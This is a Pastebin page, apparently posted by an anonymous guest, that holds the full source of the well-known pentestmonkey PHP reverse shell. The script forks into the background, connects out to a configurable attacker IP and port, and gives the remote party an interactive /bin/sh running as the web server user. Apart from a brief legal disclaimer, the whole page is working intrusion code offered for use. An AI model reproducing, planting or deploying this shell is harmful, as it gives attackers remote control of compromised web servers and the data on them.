Advertisement
Guest User

a_b

a guest
Jan 22nd, 2017
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.50 KB | None | 0 0
  1. <?php
  2. // php-reverse-shell - A Reverse Shell implementation in PHP
  3. // Copyright (C) 2007 pentestmonkey@pentestmonkey.net
  4. //
  5. // This tool may be used for legal purposes only. Users take full responsibility
  6. // for any actions performed using this tool. The author accepts no liability
  7. // for damage caused by this tool. If these terms are not acceptable to you, then
  8. // do not use this tool.
  9. //
  10. // In all other respects the GPL version 2 applies:
  11. //
  12. // This program is free software; you can redistribute it and/or modify
  13. // it under the terms of the GNU General Public License version 2 as
  14. // published by the Free Software Foundation.
  15. //
  16. // This program is distributed in the hope that it will be useful,
  17. // but WITHOUT ANY WARRANTY; without even the implied warranty of
  18. // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  19. // GNU General Public License for more details.
  20. //
  21. // You should have received a copy of the GNU General Public License along
  22. // with this program; if not, write to the Free Software Foundation, Inc.,
  23. // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
  24. //
  25. // This tool may be used for legal purposes only. Users take full responsibility
  26. // for any actions performed using this tool. If these terms are not acceptable to
  27. // you, then do not use this tool.
  28. //
  29. // You are encouraged to send comments, improvements or suggestions to
  30. // me at pentestmonkey@pentestmonkey.net
  31. //
  32. // Description
  33. // -----------
  34. // This script will make an outbound TCP connection to a hardcoded IP and port.
  35. // The recipient will be given a shell running as the current user (apache normally).
  36. //
  37. // Limitations
  38. // -----------
  39. // proc_open and stream_set_blocking require PHP version 4.3+, or 5+
  40. // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
  41. // Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
  42. //
  43. // Usage
  44. // -----
  45. // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
  46. set_time_limit (0);
  47. $VERSION = "1.0";
  48. $ip = '127.0.0.1'; // CHANGE THIS
  49. $port = 1234; // CHANGE THIS
  50. $chunk_size = 1400;
  51. $write_a = null;
  52. $error_a = null;
  53. $shell = 'uname -a; w; id; /bin/sh -i';
  54. $daemon = 0;
  55. $debug = 0;
  56. //
  57. // Daemonise ourself if possible to avoid zombies later
  58. //
  59. // pcntl_fork is hardly ever available, but will allow us to daemonise
  60. // our php process and avoid zombies. Worth a try...
  61. if (function_exists('pcntl_fork')) {
  62. // Fork and have the parent process exit
  63. $pid = pcntl_fork();
  64.  
  65. if ($pid == -1) {
  66. printit("ERROR: Can't fork");
  67. exit(1);
  68. }
  69.  
  70. if ($pid) {
  71. exit(0); // Parent exits
  72. }
  73. // Make the current process a session leader
  74. // Will only succeed if we forked
  75. if (posix_setsid() == -1) {
  76. printit("Error: Can't setsid()");
  77. exit(1);
  78. }
  79. $daemon = 1;
  80. } else {
  81. printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
  82. }
  83. // Change to a safe directory
  84. chdir("/");
  85. // Remove any umask we inherited
  86. umask(0);
  87. //
  88. // Do the reverse shell...
  89. //
  90. // Open reverse connection
  91. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  92. if (!$sock) {
  93. printit("$errstr ($errno)");
  94. exit(1);
  95. }
  96. // Spawn shell process
  97. $descriptorspec = array(
  98. 0 => array("pipe", "r"), // stdin is a pipe that the child will read from
  99. 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
  100. 2 => array("pipe", "w") // stderr is a pipe that the child will write to
  101. );
  102. $process = proc_open($shell, $descriptorspec, $pipes);
  103. if (!is_resource($process)) {
  104. printit("ERROR: Can't spawn shell");
  105. exit(1);
  106. }
  107. // Set everything to non-blocking
  108. // Reason: Occsionally reads will block, even though stream_select tells us they won't
  109. stream_set_blocking($pipes[0], 0);
  110. stream_set_blocking($pipes[1], 0);
  111. stream_set_blocking($pipes[2], 0);
  112. stream_set_blocking($sock, 0);
  113. printit("Successfully opened reverse shell to $ip:$port");
  114. while (1) {
  115. // Check for end of TCP connection
  116. if (feof($sock)) {
  117. printit("ERROR: Shell connection terminated");
  118. break;
  119. }
  120. // Check for end of STDOUT
  121. if (feof($pipes[1])) {
  122. printit("ERROR: Shell process terminated");
  123. break;
  124. }
  125. // Wait until a command is end down $sock, or some
  126. // command output is available on STDOUT or STDERR
  127. $read_a = array($sock, $pipes[1], $pipes[2]);
  128. $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  129. // If we can read from the TCP socket, send
  130. // data to process's STDIN
  131. if (in_array($sock, $read_a)) {
  132. if ($debug) printit("SOCK READ");
  133. $input = fread($sock, $chunk_size);
  134. if ($debug) printit("SOCK: $input");
  135. fwrite($pipes[0], $input);
  136. }
  137. // If we can read from the process's STDOUT
  138. // send data down tcp connection
  139. if (in_array($pipes[1], $read_a)) {
  140. if ($debug) printit("STDOUT READ");
  141. $input = fread($pipes[1], $chunk_size);
  142. if ($debug) printit("STDOUT: $input");
  143. fwrite($sock, $input);
  144. }
  145. // If we can read from the process's STDERR
  146. // send data down tcp connection
  147. if (in_array($pipes[2], $read_a)) {
  148. if ($debug) printit("STDERR READ");
  149. $input = fread($pipes[2], $chunk_size);
  150. if ($debug) printit("STDERR: $input");
  151. fwrite($sock, $input);
  152. }
  153. }
  154. fclose($sock);
  155. fclose($pipes[0]);
  156. fclose($pipes[1]);
  157. fclose($pipes[2]);
  158. proc_close($process);
  159. // Like print, but does nothing if we've daemonised ourself
  160. // (I can't figure out how to redirect STDOUT like a proper daemon)
  161. function printit ($string) {
  162. if (!$daemon) {
  163. print "$string\n";
  164. }
  165. }
  166. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement